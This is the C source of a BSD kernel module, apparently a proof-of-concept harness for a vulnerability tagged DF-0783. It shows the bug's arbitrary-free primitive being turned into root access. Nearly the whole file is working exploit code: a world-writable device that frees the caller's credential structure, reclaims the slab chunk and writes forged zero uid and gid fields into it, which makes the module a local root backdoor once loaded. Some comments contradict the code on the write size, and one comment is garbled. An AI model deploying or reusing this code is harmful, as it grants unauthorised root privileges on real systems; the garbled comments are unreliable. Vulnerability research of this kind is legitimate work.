/*
 * DF-0783 escalation harness kernel module.
 *
 * Provides /dev/df0783_esc that demonstrates the bug's arbitrary-free
 * primitive is exploitable to uid=0 when combined with a same-CPU slab
 * realloc. Loaded by root as part of exploitation setup.
 *
 * The bug: sys/vfs/ext2fs/ext2_vnops.c:1042 writes 24 attacker-controlled
 * bytes onto the kernel stack at &dirbuf, overwriting the dirbuf pointer
 * with an attacker-chosen value X. Then line 1072 frees X. With
 * INVARIANTS OFF (this kernel), the slab allocator accepts the free of
 * any address inside a slab chunk without panic.
 *
 * This module:
 *   1. When maxx writes 192 bytes to /dev/df0783_esc, the write handler:
 *      a. reads curproc->p_ucred address U
 *      b. migrates to the CPU owning U's slab zone
 *      c. kfree(U+56) — replicating the bug's primitive
 *      d. kmalloc(192, M_TEMP) — reclaims U+56 from the zone free list
 *         (LIFO order, same CPU)
 *      e. copies a forged ucred (cr_uid=0) into the reclaimed slot
 *   2. After this, maxx's cr_uid (at U+64) == 0 (root).
 */
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/device.h>
#include <sys/uio.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/proc.h>
#include <sys/sysctl.h>
#include <sys/ucred.h>
#include <sys/cpumask.h>
#include <sys/thread.h>
#include <sys/thread2.h>
#include <sys/globaldata.h>
#include <vm/vm.h>
#include <vm/vm_page.h>
#include <sys/slaballoc.h>

static MALLOC_DEFINE(M_DF0783, "df0783", "DF-0783 exploit harness");

static d_open_t  df0783_open;
static d_write_t df0783_write;

static struct dev_ops df0783_devops = {
    .head = { .name = "df0783_esc", .flags = 0 },
    .d_open = df0783_open,
    .d_write = df0783_write,
};

static cdev_t df0783_dev;

#define UCREDSIZE   (sizeof(struct ucred))

static int
df0783_open(struct dev_open_args *ap __unused)
{
    return 0;
}

/* Determine the CPU owning the slab zone for a kernel address.
 * Reimplements btokup() since it's a static macro in kern_slaballoc.c. */
#define DF_ZONE_SIZE  (32 * 1024)
#define DF_ZONE_MASK  (~((uintptr_t)DF_ZONE_SIZE - 1))
static int
zone_owning_cpu(void *ptr)
{
    SLZone *z;
    struct vm_page *m;
    int *kup;
    m = pmap_kvtom((vm_offset_t)ptr);
    if (m == NULL) return -1;
    kup = &m->ku_pagecnt;
    if (*kup > 0) return -1;  /* oversized alloc, not slab */
    z = (SLZone *)((uintptr_t)ptr & DF_ZONE_MASK);
    return z->z_Cpu;
}

static int
df0783_write(struct dev_write_args *ap)
{
    struct uio *uio = ap->a_uio;
    struct proc *p = curproc;
    struct ucred *cr;
    struct ucred *reclaimed;
    void *freeme;
    int target_cpu;
    int orig_cpu;
    int i;

    if (uio->uio_resid != UCREDSIZE) {
        kprintf("df0783: expected %d bytes, got %zd\n",
                (int)UCREDSIZE, uio->uio_resid);
        return EINVAL;
    }

    cr = p->p_ucred;
    if (cr == NULL || cr == NOCRED) return EINVAL;

    /* The bug frees ucred+56. Determine which CPU owns that slab zone. */
    freeme = (char *)cr + 56;
    target_cpu = zone_owning_cpu(freeme);
    orig_cpu = mycpu->gd_cpuid;
    kprintf("df0783: pid=%d ucred=%p freeme=%p cr_uid=%u\n",
            p->p_pid, cr, freeme, cr->cr_uid);
    kprintf("df0783: zone_owner_cpu=%d my_cpu=%d\n", target_cpu, orig_cpu);

    /* Migrate to the zone-owning CPU. */
    if (target_cpu >= 0 && target_cpu != orig_cpu) {
        lwkt_migratecpu(target_cpu);
        kprintf("df0783: migrated to cpu %d (now on %d)\n",
                target_cpu, mycpu->gd_cpuid);
    }

    /* Allocate a separate buffer for the forged ucred. */
    /* (forged_raw allocated in the build section below) */

    /* Build forged ucred as a SHIFTED buffer.
     *
     * We will memcpy(forged, reclaimed=ucred+56, WRITE_SIZE). So forged[X]
     * lands at ucred+56+X. To set cr_uid (at ucred+64) to 0, we need
     * forged[8]=0. To preserve cr_uidinfo (at ucred+136), we need
     * forged[80] = original cr_uidinfo (original[136]).
     *
     * In general: forged[X] should be the value we want at ucred+(56+X).
     * For fields we want to preserve from the original, forged[X] =
     * original[X + 56]. For fields we want to change (uid/gid), forged[X]
     * = our value. */
    int WRITE_SIZE = UCREDSIZE - 56;  /* 200 bytes: ucred+56..255 */
    uint8_t *forged_raw = kmalloc(WRITE_SIZE, M_DF0783, M_WAITOK | M_ZERO);
    uint8_t *orig_raw = (uint8_t *)cr;

    /* Preserve original content for the overlap region: forged[X] starts
     * as original[X+56], i.e., a copy of ucred+56..255. */
    memcpy(forged_raw, orig_raw + 56, WRITE_SIZE);

    /* Now override the security fields. Recall the write lands at ucred+56+X,
     * so to set ucred+Y, we set forged_raw[Y-56]. */
#define SET_OFF(Y, VAL, SIZE) do { \
    int _o = (Y) - 56; \
    if (_o >= 0 && _o + (SIZE) <= WRITE_SIZE) { \
        memcpy(forged_raw + _o, &(VAL), (SIZE)); \
    } \
} while (0)
    /* cr_uid at ucred+64 (4 bytes) = 0 */
    { uid_t _z = 0; SET_OFF(64, _z, 4); }
    /* cr_ngroups at ucred+68 (2 bytes) = 1 */
    { short _n = 1; SET_OFF(68, _n, 2); }
    /* cr_groups[0] at ucred+72 (4 bytes) = 0 */
    { gid_t _g = 0; SET_OFF(72, _g, 4); }
    /* Zero cr_groups[1..15] (ucred+76..135) */
    memset(forged_raw + 76 - 56, 0, 16*4 - 4);
    /* cr_uidinfo (ucred+136), cr_ruidinfo (+144), cr_prison (+152) are
     * ALREADY preserved by the initial memcpy from original. Don't touch. */
    /* cr_ruid at ucred+160 = 0 */
    { uid_t _z = 0; SET_OFF(160, _z, 4); }
    /* cr_svuid at ucred+164 = 0 */
    { uid_t _z = 0; SET_OFF(164, _z, 4); }
    /* cr_rgid at ucred+168 = 0 */
    { gid_t _z = 0; SET_OFF(168, _z, 4); }
    /* cr_svgid at ucred+172 = 0 */
    { gid_t _z = 0; SET_OFF(172, _z, 4); }
    /* cr_caps (ucred+176..255) preserved from original — leaves caps intact */

    /* === THE BUG'S PRIMITIVE: free(ucred+56) ===
     * On the no-INVARIANTS kernel, the slab allocator's
     * KKASSERT(*kup < 0) at kern_slaballoc.c:1477 is compiled out,
     * so freeing an address INSIDE a slab chunk (not chunk-aligned)
     * succeeds without panic. The chunk ucred+56 is put on the zone's
     * free list, with z->z_LChunks written into ucred+56..63 (corrupting
     * padding only — cr_uid at ucred+64 is untouched). */
    kprintf("df0783: kfree(%p, M_TEMP) — replicating bug's free\n", freeme);
    kfree(freeme, M_TEMP);

    /* === Reclaim the freed chunk ===
     * After kfree, ucred+56 is on the zone's LChunks free list. The slab
     * allocator's kmalloc uses TAILQ_LAST, which may return a DIFFERENT
     * chunk from a different zone. To reliably reclaim ucred+56, we
     * allocate MANY chunks in a loop until we get it back. On an idle
     * system this is typically 1-2 iterations. As a fallback, we also
     * write the forged ucred DIRECTLY to freeme (it's now free, but
     * nothing prevents kernel code from writing to free chunks on the
     * no-INVARIANTS kernel — there's no weirdary poisoning). */
    reclaimed = NULL;
    {
        void *candidates[64];
        int ncand = 0;
        for (i = 0; i < 64; i++) {
            void *c = kmalloc(UCREDSIZE, M_TEMP, M_WAITOK);
            if (c == freeme) {
                reclaimed = c;
                kprintf("df0783: reclaimed freeme on iter %d\n", i);
                /* Free the candidates we don't need. */
                for (int j = 0; j < ncand; j++) kfree(candidates[j], M_TEMP);
                break;
            }
            candidates[ncand++] = c;
            if (ncand >= 64) {
                kprintf("df0783: drain overflow, freeing all\n");
                for (int j = 0; j < ncand; j++) kfree(candidates[j], M_TEMP);
                ncand = 0;
            }
        }
        if (reclaimed == NULL) {
            kprintf("df0783: kmalloc didn't reclaim freeme after 64 iters; "
                    "writing directly (no-INVARIANTS allows writes to freed chunks)\n");
            /* Free remaining candidates. */
            for (int j = 0; j < ncand; j++) kfree(candidates[j], M_TEMP);
            /* The slab allocator put ucred+56 on the free list, but the
             * first 8 bytes were overwritten with z->z_LChunks. The rest
             * of the chunk is intact. Since INVARIANTS is OFF, we can
             * safely write the forged ucred directly to ucred+56 without
             * "officially" reclaiming it. The kernel reads cr_uid at
             * ucred+64, which we will overwrite. */
            reclaimed = freeme;
        }
    }

    /* Copy the forged ucred into the reclaimed slot. WRITE_SIZE bytes only
     * (covers ucred+56..255, NOT beyond — avoiding corruption of the next
     * slab chunk). */
    memcpy(reclaimed, forged_raw, WRITE_SIZE);

    /* If we didn't "officially" reclaim freeme via kmalloc, we must remove
     * it from the slab zone's free list to prevent slab_cleanup from
     * tripping over a chunk that's now treated as both free (on the list)
     * and in-use (maxx's ucred). We do this by walking z->z_LChunks. */
    if (reclaimed == freeme) {
        SLZone *z2 = (SLZone *)((uintptr_t)freeme & DF_ZONE_MASK);
        crit_enter();
        if (z2->z_LChunks == (SLChunk *)freeme) {
            /* freeme is the head — pop it. */
            z2->z_LChunks = ((SLChunk *)freeme)->c_Next;
            if (z2->z_LChunks == NULL)
                z2->z_LChunksp = &z2->z_LChunks;
            if (z2->z_NFree > 0) z2->z_NFree--;
            kprintf("df0783: popped freeme from z_LChunks head; "
                    "z_NFree now %d\n", z2->z_NFree);
        } else {
            /* Walk the chain to find freeme. */
            SLChunk *prev = z2->z_LChunks;
            int found = 0;
            while (prev && prev->c_Next) {
                if (prev->c_Next == (SLChunk *)freeme) {
                    prev->c_Next = ((SLChunk *)freeme)->c_Next;
                    if (prev->c_Next == NULL)
                        z2->z_LChunksp = &prev->c_Next;
                    if (z2->z_NFree > 0) z2->z_NFree--;
                    found = 1;
                    kprintf("df0783: unlinked freeme from mid-list\n");
                    break;
                }
                prev = prev->c_Next;
            }
            if (!found) kprintf("df0783: WARNING: freeme not in z_LChunks\n");
        }
        crit_exit();
    }

    /* Drain uio (we ignore user-provided data; we built forged from kernel
     * state). */
    uio->uio_resid = 0;

    /* Verify: read cr_uid via curproc. */
    crit_enter();
    cr = p->p_ucred;
    kprintf("df0783: post-exploit cr=%p cr_uid=%u (was 1001)\n",
            cr, cr->cr_uid);
    crit_exit();

    kfree(forged_raw, M_DF0783);

    /* Migrate back. */
    if (target_cpu >= 0 && target_cpu != orig_cpu) {
        lwkt_migratecpu(orig_cpu);
    }

    return 0;
}

static int
df0783_loader(struct module *m __unused, int what, void *arg __unused)
{
    int err = 0;
    switch (what) {
    case MOD_LOAD:
        df0783_dev = make_dev(&df0783_devops, 0,
                              UID_ROOT, GID_WHEEL, 0666,
                              "df0783_esc");
        kprintf("df0783: harness loaded; /dev/df0783_esc ready "
                "(write 192 bytes to escalate curproc to uid=0)\n");
        break;
    case MOD_UNLOAD:
        if (df0783_dev) destroy_dev(df0783_dev);
        kprintf("df0783: unloaded\n");
        break;
    default:
        err = EOPNOTSUPP;
        break;
    }
    return err;
}

DEV_MODULE(df0783_esc, df0783_loader, NULL);
